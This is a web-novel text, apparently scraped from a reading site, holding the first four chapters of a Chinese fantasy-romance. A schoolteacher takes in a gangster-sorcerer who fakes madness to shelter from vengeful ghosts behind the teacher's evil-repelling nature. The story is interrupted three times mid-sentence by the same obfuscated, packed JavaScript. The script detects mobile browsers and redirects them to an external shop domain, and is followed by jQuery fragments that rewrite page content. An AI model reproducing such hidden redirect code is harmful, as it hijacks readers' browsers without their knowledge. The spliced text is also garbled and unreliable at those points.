《黄泉待归舟》
1. 他疯了??
天空灰蒙,宛如有淡淡墨色弥漫,古旧的回廊外,细雨轻敲着竹叶,淅淅沥沥,滴滴点点。
“佟先生再见。”
几个孩子看见先生迎面走来,立刻便收敛了嬉闹,站定与先生道别,模样很是恭谨知礼。先生微微一笑,说了句小心路滑,孩子们应了,快走了几步,又低声笑闹开来。
学生们散学了,佟月舟一天的授课也结束了。穿过绿竹掩映的回廊,便是教师用作办公的厢房,佟月舟一手夹着书册,另一手拎起长衫,迈过门槛,走进了厢房之中。
“佟先生下课了。”
同僚见佟月舟进屋,转头与他打招呼。佟月舟笑着点点头,应了一声是。而同僚的注意力只被佟月舟分去了片刻,招呼过后,便又转回头去,追问起刚才的话题来。
“你说百岁坊?百岁坊出什么事了?”
“具体的,也不清楚。”
另一人啜了口茶,继续讲道。
“听说治安所封了百岁坊里最热闹的一条街,谁也不许出入,据说是出了人命了。”
“整条街都封了?这么兴师动众的,这怕都不是一条人命的事吧?”
“说不准。百岁坊那地方本来也不干净,乱七八糟,乌烟瘴气的,要是一直都平安无事,那才是有鬼了。”
佟月舟一边整理着自己的书册教案,一边有一搭无一搭地将同僚们的闲聊听了一些。城西头的百岁坊,那地方他也知道。“百岁”这名字叫得吉祥,但坊里头干的却不是什么长命百岁的事,赌场妓院大烟馆,各种不入流的店铺都聚集在那几条街上,乱七八糟,乌烟瘴气,这形容一点都不夸张。佟月舟没去过百岁坊里面,只是从坊口的牌楼下面路过过几次,但仅仅是路过,都只觉得一股乌糟浊气,自那牌楼后的昏暗街巷里扑面而来。
对出身书香世家的佟月舟来说,那几乎就是共存于同一座城中的另一方世界。不曾去过,也没有半分交集,所以那里发生了什么,佟月舟也并不太关心。
“齐先生,梁先生,我先回了。”
整理好了书桌,佟月舟对同僚说道。
“哎,好。”
“外面下雨呢,佟先生有伞吗?”
“有。”
佟月舟扬了下手中的油纸伞。
“那明天见。”
“明天见。”
“路上小心,明天见。”
***
烟城多雨,一年要有半年的光景都笼罩在濛濛烟雨之中。巷子里的青石板路湿漉漉地泛着水光,两边的白墙渍着深浅不一的水痕与青苔,远看去,好似一幅幅水墨洇晕的画。
今日雨并不太大,但路上的行人却格外少,越接近佟月舟住的杏石巷,人好像就越发的少。佟月舟没太在意,只是撑着他那把有点破边的油纸伞,踏着湿滑的石板路小心走着。眼见着杏石巷就在前面,佟月舟刚拐进巷口,突然便脚步一顿,停了下来。
那是……
眼镜被水雾糊得不太清晰,佟月舟模模糊糊地,只看到前面路上挡着一团黑色。他又向前走了几步,抹抹眼镜,仔细看去……
那是……
……是人!
有个人倒在巷子中央,就在离自家门口不远的地方!
“喂!”
佟月舟一惊,急忙赶上前去,手里举着伞,蹲下去拍那人的身体。
“你怎么了?你还好吗?”
而那人趴在地上一动不动,拍不出反应,也看不出是死是活。
“喂!”
佟月舟又拍了拍他,随后抬起头,紧张地向巷子前后张望。
空荡荡一条巷子,一个人影也没有,只有绵绵雨丝,伴着凉风习习而过。
佟月舟呆了呆,又低头去唤趴在地上的人。这人看起来是个个子挺高的男人,身上很结实,应该还很年轻。佟月舟想探探他的鼻息,便扳着他的肩膀将他用力翻了过来,然而待到他的正脸出现在视野中,佟月舟脑中的某根弦不由一动,很快就浮出了有关这副相貌的记忆。
这个人,自己认识。
尽管不想承认,但不得不说,他们两个,还能算得上是老相识。
他叫霍不归,是个混混,不干好事的那种。
小时候是,大了也差不多。
佟月舟心里下意识地涌起几分厌嫌,他眉头皱了皱,犹豫了一会儿,才将手指探到他的鼻子下面。
有气,没死。
虽然他穿着黑衣,看得不太清楚,不过就佟月舟粗略的观察,身体上应该是没有哪里受伤流血,只有右手上缠了一些纱布。
总不会是因为手受了点伤,人就晕倒了吧?
佟月舟盯着他人事不省的脸,又看了看他已经被雨淋透的衣服,沉默了半天,方才站起身来,快走几步赶回家,片刻后又带着一个头发灰白的老伯回到了巷子中。
“沈伯,搭把手,我们把这人抬回家里去。”佟月舟对老伯说道。
沈伯是家里的老佣人了,自打佟月舟小的时候就一直在佟家帮佣。后来家道中落,佣人们也都被遣散了,就只剩沈伯这一个无家无子,无处可去的老哑巴,跟着佟月舟一起过活。两人就住在杏石巷深处的一方小院里,日子虽然没多富裕,但有佟月舟做着教书先生,也总算是衣食无忧。
“啊……啊啊?”
沈伯比比划划着,好像在问这人是谁。
“我以前认识的。”
佟月舟含糊回答道。
“不知道他怎么了,先抬回家,找大夫给他看看吧。”
虽然不是好人,但总归是条命。
人都倒在自己面前了,见死不救,到底还是有违人道。
佟月舟是这样想的。
沈伯点点头,两人一头一脚,猛地用力,将晕成一滩烂泥的男人勉强抬了起来。这人看着不胖,但份量却着实不轻,两人费了九牛二虎之力,才好歹将他弄到了家里的客房中。佟月舟出去请大夫,沈伯则负责把他的湿衣服脱下来,待到佟月舟带着大夫再回到家,人已经被扒成了赤条光溜,身上只盖了一条被子。
“唔……”
大夫掀开被子仔细检查了一遍,又拉过手腕号了许久的脉,皱皱眉,又摇摇头,看起来好像有点迷惑。佟月舟和沈伯候在一旁,眼见着大夫皱眉摇头,只等着他说出点什么来,而等了半天,才终于听大夫清了清嗓,好歹说出了个结论。
“公子……脉象平稳,脏腑无疾,只是气血亏虚罢了。我开个补气血的方子,喂他服了,或许有效。”
气血亏虚……?
大夫开完了方子便离开了,沈伯也去药铺抓药去了。佟月舟看着躺在床上的男人,只觉得怎么看,怎么都跟“气血亏虚”这词搭不上边——面色红润,嘴唇丰盈,被子下是一身饱满精壮的腱子肉,手臂还盘着若隐若现的青筋,哪哪都显得气血都足得不行。右
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813390|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手上的绷带也被大夫拆开了,结果根本也没有伤,绷带下面是一块挺大的青灰色胎记,蔓延在食指中指和半个手掌上,大夫看过了,说也没什么稀奇的,那就是一块普通的胎记而已。
不过一拆开绷带,佟月舟就想起来了,这个人手上确实是有这么一块胎记的,自打小时候就有。
那时候佟月舟十几岁,就在他如今任教的青竹学堂上学。这个男的,也就是霍不归,当时也是和佟月舟差不多大的少年,但他却不上学,整天就穿着一身破衣烂衫,爬墙上树地来学堂里捣乱。
捣乱的范围么,倒也不是很大。受害者前前后后归拢归拢,总共就只有佟月舟一个人。
不是突然冲到他面前念念叨叨,就是往他背上贴奇怪的破纸,有时会往他书桌上扔很恶心的虫子,还有一次在他身上撒了一大把香灰,把他的衣服鞋袜都弄得脏污不堪。
没人知道他为什么就只盯着佟月舟一个人霍霍,反正是顽劣至极,非常讨厌,佟月舟简直烦透他了。
后来佟月舟学成毕业了,之后几年倒是清清静静的,没再被这男的骚扰。直到前一阵子佟月舟偶然路过百岁坊,才又遇见了他。
几年过去,霍不归也变了一番模样。身量高了,面目轮廓硬朗了,少年时的破衣烂衫,也换成了一身利落的黑色对襟短打,虽然是短打,但看那衣料的光泽质感,就知道是挺贵的好料子。彼时他正带着一帮小弟从百岁坊里面走出来,看到街对面的佟月舟,手指一推墨镜,嘴角斜斜一挑,痞里痞气地对他笑了一下。
光阴似箭,岁月如梭,当年的顽劣少年,如今已然变成了地痞流氓。
当时佟月舟没有理他,瞥了他一眼,就躲瘟神一样地快步走了。可谁知没过多久,这个人居然就这么……
……嗯?
佟月舟正想着,忽然又意识到了什么。
百岁坊……
当时自己看到,他是从百岁坊出来的。
而今天齐先生他们,说百岁坊里出事了。
难道他昏迷不醒,和百岁坊出事有关?
可这里是城东,百岁坊在城西,百岁坊出了什么事,能让他不远万里地晕倒在这儿?
佟月舟一头雾水,百思不得其解,然而看霍不归的样子却也不像是装的,被人扒光了衣服折腾来折腾去,也并没有半点清醒的迹象。
这人到底什么情况……?
……总不会真是气血亏虚吧。
尽管佟月舟不太信他气血亏虚,不过还是吩咐沈伯煎好了那副补气血的药,不管有没有用地喂他喝了下去。然而刚刚把药碗喂空,便见床上的男人眉心似乎是动了一动。
哎??
佟月舟一愣,盯着他的脸仔细看去,果然,那一双睫毛抖抖颤颤的,好像是要睁眼的样子。
不是吧……这药有这么灵??
佟月舟惊呆,赶紧又拍了拍他,唤了他几声。
“霍不归,霍不归?”
“你醒了吗?听得见吗?”
霍不归貌似是听见了。他慢慢睁开眼睛,眼神放空了片刻,便聚焦在了佟月舟脸上。佟月舟又探过点头去,说了句我是佟月舟,这时却见霍不归在某一瞬间猛然睁大眼睛,腾地一下从被子里跳出来,手脚并用地爬去床角,一脸见了鬼一样的惊恐,哆哆嗦嗦缩成了一团。
“别过来!别过来!!”
“走开!走开!不要杀我!!”
2. 向东方,寻月舟
走开。别过来。不要杀我。
还得惊恐,还得哆嗦。
……太破坏形象了。
堂堂百岁坊首席大佬,长乐街第一首富,不得不跑到这儿来装晕又装疯……
丢人,实在是太丢人了。
霍不归缩在墙角,看着床边端着药碗一脸错愕的佟月舟,只觉得嘴里那苦药味一股子一股子地直往头顶上窜。
也不知道那庸医给开的什么破药,苦得连装晕用的定身符都失效了。
好在是自己机警,觉得定身符要失效,这一动不动的烂泥状态马上就要维持不住,于是便立刻在装晕和装疯之间做了一个完美的模式切换,行云流水,非常丝滑。而且看佟月舟的反应,明显也是被唬得结结实实的,并没生出什么怀疑。他伸手过来,好像想要碰碰自己,但又不是太敢,和他一起的那个老头也跑进来了,啊啊啊的,也不知道在和佟月舟交流什么。
一切还算是按计划进行,除了被迫咽了一碗苦出天际的药汤子。
霍不归心里暗想着,有点庆幸,但更多还是无奈。
如果不是万不得已,自诩百岁坊首席大佬的霍不归当然不会闲得没事跑来丢人。而他既然来丢这个人了,只能说明一件事——他是真的有点万不得已了。
同僚口中那条百岁坊里最热闹的街,叫做长乐街,而霍不归就在长乐街的正中心,最好的地段上,开了一家颇有规模的赌场,名叫通宝楼。通宝楼外表十分低调,白墙木门的二层楼,看起来是无论穷富也都来得起的样子,但里面地方却是大,不算二层的雅间,光大堂就能摆下三十六张乌木赌台。接地气,赌客就多,赌场生意做得风生水起,一众小弟围着前呼后拥,真金白银挡也挡不住地直往口袋里钻,霍不归本来的日子,那可是过得相当滋润。
可就在昨天晚上,滋润的小日子一下子就变了天了。
当时他正在赌场二楼,喝着好茶,听着小曲,俯视着大堂中吵吵嚷嚷的热闹。正在这时,赌场里灯光莫名闪了闪,很快,一阵阴风便从四面八方席卷而至,暗红的浓雾迅速弥漫开来,一股混着血腥气的腐朽味霎时间便满满充斥在整个赌场之中。
这场面看着很是瘆人,但那充斥在赌场中的味道,对霍不归来说并不陌生。
——这是从地底下带上来的味道。
虽然表面上的身份是赌场老板,但霍不归这个人其实并不简单。在赌场生意之外,他还通阴阳,知五行,懂道法,不仅是生意人,这个百岁坊大佬还是个很有道行的阴阳术师。
尽管在不明真相的群众眼里,这人就是个混黑|道、很有钱、惹不起的神棍。
神棍就神棍,霍不归无所谓。反正别人怎么看,也不耽误他日子过得惬意悠哉。
但这回,还真是有点悠哉不起来了。
霍不归也不知道自己是刨了谁家祖坟了,竟然招惹了这么多怨气冲天的厉鬼来找自己寻仇。惊诧之中他抽了几秒时间反思了一下,感觉自己最近还挺安分守己的,真没干什么特别缺德的坏事。然而厉鬼并不和人讲道理,就在他反思的几秒之间,阴风一卷,血雾一炸,连赌客带小弟,直接就横七竖八地撂倒了一大片。
对一个专业的阴阳术师来说,这倒并不是什么特别值得慌张的大场面。霍不归当即就以气为纸,以指为笔,一道道驱鬼符咒转瞬而成,齐齐飞出,迅速就包围住了那怨气的中心。然而下一刻,那些符咒却突然就灰飞烟灭,在几乎肉眼可见的怨气面前,竟是没能起到半点作用!
……这、怎么回事?!
霍不归这次是真惊诧了。
驱鬼镇邪,这是阴阳术法中的基础操作了。他平时虽然不专门干驱鬼这一行,但他的道行可比一般驱鬼师高多了!以他的本事,写出来的驱鬼符怎么可能一点作用也没有!
霍不归不信邪,立刻又多加了一倍的符咒,但结果却仍然是无济于事。
怎么会?!这没道理啊!!
难道是这些鬼不一般??
浓重的怨气卷过了一层,便没再去祸害别人,四面八方地朝着他的方向汹汹而来。霍不归也没空再掰扯是他不行还是鬼太行的问题,大手一挥甩出数张地缚符,暂且先封住了厉鬼的行动,紧接着又用符引来一声惊雷。
赌场中赌客们已经乱作了一团,狂呼乱喊着四处奔逃,这时只听一声震耳的巨响,瞬间将恐慌的人群震慑在原地。只见大堂高处,霍不归姿态岿然,以手掐诀,双唇微动,下一秒,满室血雾中忽地就破开了一条清明的通路。厉鬼驱不掉,形势也不允许霍不归再恋战,于是他便手撑栏杆一下子翻下二楼,招呼着幸存的手下和赌客,快速冲出了那几乎完全被怨气淹没的赌场。
那些厉鬼显然是冲着霍不归来的,而手下都是不通道法的普通人,跟在身边就是累赘。所以一出赌场,霍不归就将手下都打发走了,自己一个人悄没声地藏了起来。然而厉鬼们却是无孔不入,穷追不舍,一个个都是一副不干死他誓不罢休的执念模样。霍不归藏也藏不住,躲也躲不开,被迫打打逃逃的忙活了一整夜,直到早上天光亮起来了,厉鬼的怨气总算弱下去一些,他才终于一把符给自己辟了块清静地方,静下心来,好好思考他这档子糟心事。
打了一晚上,霍不归几乎把自己的看家本事都用尽了,然而事实证明,哪怕是兜出老底,对这些厉鬼也没起到半点效果。
霍不归不知道这是为什么。他在阴阳术法方面的能耐可是相当出类拔萃的,在他的职业生涯中,一直都是要风得风,要雨得雨,战无不胜,所向披靡,他霍不归就从来没被什么事情搞得这样狼狈过。
可这次,这些厉鬼怨气他竟然还真就镇不住了。怨气镇不住,也就意味着这些厉鬼天天都得来索他的命,一天没镇住,它们就得索一天,一直镇不住,那霍不归也别干别的了,没日没夜地就都得跟这些厉鬼满世界地玩你追我逃。
这搁谁谁受得了!
不行,这不行。
霍不归思量着。
这件事来得蹊跷,而且看这架势,显然也不是简简单单就能平息干净的。
须得先寻出个生门,渡自己过了这一关。
于是他也没多犹豫,一敞衣襟,盘腿一坐,拿出了上到人生大事,下到日常琐事,但凡遇事不决全都能用的霍门绝学——卜卦。
卜卦这事,对于一般人来说可能挺玄乎,但对于神棍霍不归来说,那就像吃饭睡觉一样寻常。三枚被盘得锃亮的铜钱日日都在他衣服内兜放着,有事没事的就要被他抛出来卜上一卦。而如今难事当头,亟待解决,自然就更不会例外了。
这一卦,他要卜的就是生门。手指一捻,铜钱一丢,叮叮落地,有阴有阳。六则爻象一出,易理心中一过,一段卦辞便清清楚楚地昭示在了他眼前——
【坎水东流,太阴渡厄。生门隐于震位,需借巽为楫,履险而进。】
唔……
霍不归垂下眼皮,琢磨着这则卦象,在无人的小屋里揉搓着他的铜钱,沉吟了许久。
其实也不需要沉吟那么久,毕竟卦象已经说得很明白了。
【坎水东流、生门隐于震位】——
顺流为东,震位亦于东。
【太阴渡厄、需借巽为楫】——
太阴为月,渡者……乃舟。
若要渡厄……
向东方,寻月舟。
***
佟月舟错愕地看着缩在床角的男人,半天,都没想起来把手里的空药碗放下。
事情发生得过于突然,过于意外,甚至让他一瞬间有那么点心惊,只怕是自己给霍不归喂错了药。
他……他这是失心疯了?
“……霍不归?”
佟月舟大着胆子,试着往床里探了点身,而霍不归貌似很惊恐地又向角落里缩了缩,可可怜怜的,半点不见那日遇见他时威风神气的模样。
“霍不归,你还认得我吗?我是佟月舟。”
佟月舟问道。但霍不归不回答,就只是一味地躲。
“啊啊?”
一旁的沈伯指指脑袋,意思是问这人是不是脑袋坏了。佟月舟点点头,又看向躲在床角的男人,终于想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813391|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起放下手里的碗,拉过被子,想试着盖在他身上。
沈伯之前把他的湿衣服脱了,如今这人身上是一|丝|不|挂的状态,光溜溜的,连条亵裤都没穿。
虽然这屋里的都是男人,但赤身裸体,这也实在有点太不体面了。
然而佟月舟手里的被子还没盖上去,霍不归就又受惊了一样狂躁了起来。他嘴里不停喊着“走开!”“别过来!”,两只手还使劲往外推佟月舟,力气大得牛一样,推得佟月舟根本近不了身。佟月舟也被他这疯癫样子搞得很慌,被子攥在手里,盖上也不是,放下也不是,手足无措地也不知道该怎么办。
“不要来!不要来!”
“走开!你们都走开!!”
“啊啊……啊!”
沈伯赶紧比划着又指了指外面,好像是说再去请一请大夫的意思。佟月舟回过神,连忙放下被子跑出门去,但没多一会儿,就又一个人回来了。
大夫不在,出诊去了,而床上的霍不归仍然是极度紧张的样子,稍一靠近就要发癫,嘴里反反复复地嚷着要他们都走开,和刚醒来的时候相比没一点好转。佟月舟和沈伯面面相觑,一人说话一人比划地商量了几句,却也是没能商量出什么办法。
在这儿陪着他,也没法把他陪好,他们走开,或许他还能平静一点。眼见着时候也不早了,于是两人索性便留霍不归一人在屋里,各自回去了自己的房间,一切暂且就只等明日再说了。
……终于走了!
确定那两个人不会再回来了,霍不归总算是放松下紧缩的身体,一把扯过被子,裹在自己身上。
磨磨蹭蹭的,还想围观老子的裸|体围观到什么时候!
霍不归忿忿的,心里是满是虎落平阳的怨念不爽。
那老头,也不知道给老子留条裤子,佟月舟,看着挺斯文,这会儿也不知道回避回避!
要不是不明原因地被厉鬼缠上,老子又怎么会……
哎?
等等……
等等等等……
现在,天已经黑了,黢黢黑,墨墨黑,而自己人就在这儿坐着,这房间里面却依然是视野清明,空气清新,到处都是干干净净的,没一点邪祟冒头的迹象。
嘿,也就是说,这有用?
想到这儿,霍不归立马又乐了,一猛子翻身下床,打开点房门,从门缝里向外看去。
佟月舟家的房子,是在这烟城中很常见的式样。小小的二层小楼,一层是砖砌的,二层是木制的。安置霍不归的这间客房是在一层,房间外面是个小客厅,对面有一道窄窄的木头楼梯,顺着楼梯可以上到二楼去。小客厅里和客房是一样的干净,灯烛已经熄掉了,只有客厅两侧的花窗透着些暗淡的夜色。放眼皆是一片幽静昏黑,但却黑得非常通明净透,什么也没藏在里面。
佟月舟和沈伯应该是睡下了,霍不归细听了一会儿,没听到什么动静,于是他便轻轻悄悄地穿过客厅,来到小楼外一方逼仄的小天井中。
雨已经停了,房檐边偶尔有水珠滴落下来,轻声碎在潮湿的石阶上。他的衣裤晾在房檐下,半湿不湿的,摸起来还挺凉手。不过湿裤子也总比光着强,霍不归拽下裤子凑合穿上,又轻手轻脚地钻出户门,顺着门外的杏石巷走出了十几米的距离……
忽!
霎时间,一阵阴风平地而起,那腐朽味如同昨夜一般,再次卷着浓重的怨气汹涌而来!
霍不归自然早有准备,他立刻甩出了地缚符,几步退回到佟月舟家中,又将户门重新掩了起来。
一瞬之间,世界再次清净了下来。阴风、腐味、怨气,一切都仿佛是夜梦未醒时的错觉,好像根本也不曾在现实中出现过一秒。
霍不归看着那两扇掩蔽起来的户门,又转头环视着这一方依旧宁静安详的小天井,心满意足地挑起嘴角,就这么光着膀子,湿着裤子,两只手朝天一举,长长伸了个懒腰。
很好,很好。
坎水东流,太阴渡厄,天命诚不欺我。
这个书呆子佟月舟,还真就是渡我的生门!
3. 辟邪圣体
佟月舟是个邪祟不侵的辟邪圣体,这事其实霍不归早就知道。
准确地说,就是在那十几岁的少年时,他就已经发现了。
世间凡人行走红尘中,肉身被七情六欲、因果业力日日侵染着,周身或多或少,总是会笼上一层混沌浊气。以霍不归的目力所及,若是粗看,倒也还好,若是打眼细瞧,那看谁就都好像是隔着层尘霭,灰蒙污浊,面目模糊,让人提不起一点兴趣观赏打量。
然而自打霍不归第一次翻进青竹学堂的墙,第一眼看见走在回廊中佟月舟,他顿时就发现了这滚滚红尘中的新大陆——看着挺普通的一个男孩子,却像是被天上月亮独独照着一般,清清爽爽,明明净净,同样是肉|体凡胎,却唯有他,竟是完全没有一丝浊气缠身。
嘿,奇了。
少年顽劣,又闲得蛋疼的霍不归,一股子邪门兴趣当即就突突冒了出来。为了验证佟月舟到底是怎么个天赋异禀,他回去之后秉烛彻夜,用尽毕生所学苦心研究了一番,精心设计出了好几套实验方案。
比如说在傍晚明暗交会之时,对佟月舟大念惊魂咒。
惊魂咒,就是要惊扰他的三魂七魄,让他阴阳倒转,五行难调,试着破了他周身这结界一样的清明。
……结果这惊魂咒念给佟月舟,就像是给他不疼不痒念了几句经,除了他脸上莫名其妙的表情,什么也没能惊出来。
霍不归并不气馁,他琢磨了一下,觉得可能是自己道行尚浅,光用嘴念,效力还是有点不够。
于是他又仔细斟酌了几天,设计了一个专门针对佟月舟的引煞符,趁佟月舟又走过回廊的时候,冲上前去,啪地一下就贴在了他背上。
引煞符,就是要吸引四周阴暗之处的煞气,冲怼佟月舟周身的清明之气,看看能不能中和正邪,抵消掉他这个奇怪的天赋。不过霍不归不想真让煞气伤了他,所以就将引煞符的威力改低了点,吸引的煞气少了点……
……结果那点煞气还没近到佟月舟一丈远,毫无预兆地突然就灰飞烟灭了。霍不归此次实验又宣告失败,并且还另外收获了佟月舟两道愠怒的目光。
不过通过这次实验,霍不归倒是发现佟月舟周身的这股清明气,看起来好像是有点辟邪的意思。
然后为了证明这则霍德巴赫猜想,霍不归不畏艰难,不嫌恶心,千里迢迢地跑到城外乱坟岗中,收集了七八条陈年老尸虫,小心翼翼地包着藏着,又跑回到青竹学堂,趁佟月舟的窗边读书的时候,一下子全扔在了他书桌上。
尸虫以墓穴为巢,以腐尸为食,属极阴之物,陈年尸虫则阴气更甚。一般人都很难承受尸虫阴气袭体,轻则面色虚白,冷汗涔涔,重则四肢僵冷,昏迷不醒,后果非常严重。霍不归已经提前准备好了符咒,若是他猜错了,佟月舟真要被阴气袭体了,那他就会马上抛出符咒,迅速把这些尸虫杀个干净。
……然而尸虫刚落在桌上,他的符咒都还没来得及拿出来,就见那一条条尸虫竟然接二连三地噼啪爆开,很快便只剩下了一滩滩浓稠的黑水,弄得佟月舟面前连桌子带书本恶了巴心一片狼藉。
霍不归一下就愣了。在他的猜想中根本没有就这样的场面,他本以为最多也就是尸虫到处乱爬,然后没被阴气袭体的佟月舟会跑出来揍他而已。
结果这些极阴陈年老尸虫,居然在佟月舟身边直接就暴毙了,而佟月舟桌子脏了书也废了,人气得满脸通红,噔噔噔地跑出了屋子,但最终,也就只是用力推了他一下。
这一次实验,对霍不归来说是很有点里程碑意义在的。通过这一遭,他得出了两个重要的结论——
第一,佟月舟这个人,确实是有辟邪驱煞的天赋在身上。
第二,佟月舟这个人,逗起来真好玩。
于是后来,用各种损招邪招逗佟月舟,就成了霍不归闲极无聊时最爱的消遣,不分寒暑,隔三差五,不算特别频繁,但直到佟月舟毕业前,他也一直没断了这个乐子。
……现在想想,自己那时候还真是挺欠揍的,也不怪上次在百岁坊坊口偶遇,佟月舟会像躲瘟神一样躲着自己。
所以今天早上,在霍不归卜出了那段卦辞之后,他立刻就陷入了沉思。
虽然卦象显示,佟月舟那里就是他的生门,但如果他是佟月舟,会同意让自己进他家门吗?
即便是不要脸如霍不归,也不得不承认——
能同意才怪了。
【需借巽为楫,履险而进。】
而这卦辞的后半段,大概也是说的这回事——这生门,不好走,想要走得通,需要借风为桨,剑走偏锋,如果不能大路平趟,那就兵行险招,来点邪的。
于是在久久沉思之中,霍不归就想出了这么个歪门邪道来——拼一把读了多年圣贤书的佟月舟,能被熏陶出多少人间大爱。
虽然这事有点置尊严于无物,不过……算了。
霍不归只犹豫了一秒,便很快做好了决定。
大丈夫能屈能伸,反正自己本来也不是什么正经人,反正在佟月舟面前,也都没干过什么正经事。
就这么着了!
于是如今,不正经的霍不归在夜色下的天井里站了一会儿,看厉鬼的确是找不过来了,索性便又把湿裤子一脱,随手丢回房檐底下,自己光着屁股,溜溜达达地走回了客房。
这裤子,还是不能穿的。湿得难受是一方面,另一方面,他现在的状态是个被吓傻了人事不知的疯子,特意跑到院子里把裤子穿上,那这人设可就不对了。
缜密。
霍不归在心里给自己竖了个大拇指,回到客房,把房门按原样掩好,躺去床上,又给自己盖好了被子。
至于佟月舟为什么会那么辟邪,后来道行又深点之后,霍不归曾偷偷拿了佟月舟的头发,给他推了八字,仔细研究了一下。按八字推算结果来看,佟月舟原是四柱全阳的纯阳命格,而纯阳之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813392|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中又带了一方极清极净的命星,所以邪祟阴物才唯恐避他不及,被强行扔到他身边的尸虫,甚至还会直接消融殆尽。
而尽管霍不归之前就知道这些,但在卦象指引之前,他并没有仔细考虑过佟月舟的纯阳气场能不能庇护到他,所以也就没把这事往佟月舟身上想。而被卦象引来了方才得知,佟月舟的气场竟然强到连这座他日常居住的小院落,都已经被浸染得邪祟不侵了。
运气还真是不错。
霍不归双手枕在脑后,翘脚晃着,眼望着床架顶上纵横交错的木梁。
纯阳之人不见阴物,就如同白日中无法窥见星光,佟月舟眼中的世界是一片清净,他也感知不到自己的体质对周围产生了什么影响。而有佟月舟的极净纯阳庇佑着,霍不归也终于能够消停下来,在这个难得平静的夜晚中,好好思考思考,再好好休息一下。
好好休息,是因为这突如其来的一场奔波,着实费了他不少命火。各种符箓咒语的咒力不是凭空冒出来的,那是作符者用命火转化而来的,这回他把老底都翻出来用了,命火消耗很是不小,到现在其实身子还是感觉不太爽利。
佟月舟家又安全,又安静,床也挺舒服,是个适合休息的好环境。
而好好思考,则是要思考一下被佟月舟收进来之后,接下来的事情。
就比如自己的这个疯傻,到底应该疯傻到一个什么程度。
不说别的,现在面前最实际的一个问题就是,他要是继续搞这么一惊一乍的疯法,不让佟月舟和老头近身,那他的裤子就真没机会再穿上了。
想要佟月舟留下他,他就得傻,就得不通人事,就得让佟月舟觉得不管他他就活不下去。但是另一方面还要傻得顺从,不能让这个装出来的疯病耽误了正常吃穿,也不能闹得佟月舟烦了,一个狠心,真不再管他的死活。
而更重要的是,如今躲在佟月舟家,说到底也只是权宜之计。目前最关键的,还是要弄清楚这些厉鬼是哪儿来的,为什么死盯着自己不放,又为什么怎么镇也镇不住。
白天他也听到了消息,他的赌场现在已经被治安所封了,东南西北的贴了七七四十九道符,好像生怕别人不知道那里闹鬼闹出了人命。事情已经传开了,他的手下也死了好几个,他自己又还得在这儿躲着,总之一时半会儿的,他的生意算是歇菜了。
好在还有一些手下跟着他一起跑出来了,其中有不少他的心腹小弟,还有他最得力的左膀右臂陈江海。他们倒都没什么大碍,现在也都候在家里等着他召唤。他想等到他休息好了,就得赶紧安排陈江海去查,这糟心事到底是怎么来的,来龙去脉都得搞清楚。他不可能一直躲在这里,他得破了这困局,他得东山再起……他得……
得东山……
起……
霍不归躺在绵软舒服的床上,迷迷糊糊地想了好几遍东山再起,想着想着,一不留神,意识便蓦地一滑,跌入了黑沉的梦乡之中。
4. 不归
“您看他这样子,是什么病症?”
佟月舟请来的,还是昨天那个说霍不归气血亏虚的大夫。这回大夫不提气血虚不虚的事了,又号了半天脉,皱了半天眉,最后换了个别的说法。
“公子……是湿热过盛,痰迷心窍,因而导致神识昏蒙,我开个涤痰醒神的方子,喂他服了,或许有效。”
……涤个屁痰。
霍不归今天已经不走狂躁路线了,他表面上装着呆傻无神,心里强烈谴责着这庸医招摇撞骗。
话说得一套一套的,结果连有病没病都没诊出来,那方子岂不就都是瞎开的?
佟月舟这书呆子,找来的都是什么货色。
没病瞎吃药,到时候不傻都得吃傻了。
霍不归余光瞄着佟月舟恭恭敬敬送走大夫,暗地里很是义愤填膺,想着早晚要让陈江海把他的看诊铺子掀了,省得他再祸害别人,又想着得当着佟月舟的面戳穿庸医,也让佟月舟把眼睛给擦亮点,想得很是有鼻子有眼的,总之是不承认自己其实就是不想喝那苦药汤。
可无奈佟月舟非常一根筋,特别遵医嘱,拿了方子就抓药,抓了药就搁火上熬,没多久,一碗看起来味道相当醇厚的苦药汤就送到了霍不归眼前。
霍不归当然也不会坐以待毙,他看准时机,再次切换了一下狂躁路线,一把就把药碗掀翻在了地上。
药汤泼在青灰的石砖上,溅出了一片大大小小的药渍,药碗被摔成片片碎瓷,连佟月舟的淡青长衫都被泼上了一片棕黄的药色。
“啊啊!”
沈伯赶紧去看佟月舟,怕他被药烫着了,佟月舟撩起长衫,手忙脚乱地掸着拂着,但药汤的颜色已然渍进布料里去了,别说是掸拂,就是洗,都不见得能洗得干净。
“算了。”
佟月舟掸了半天,没有什么效果,只得放下长衫,无奈地看了一眼床上的霍不归,想说什么,但最后还是没有张口。
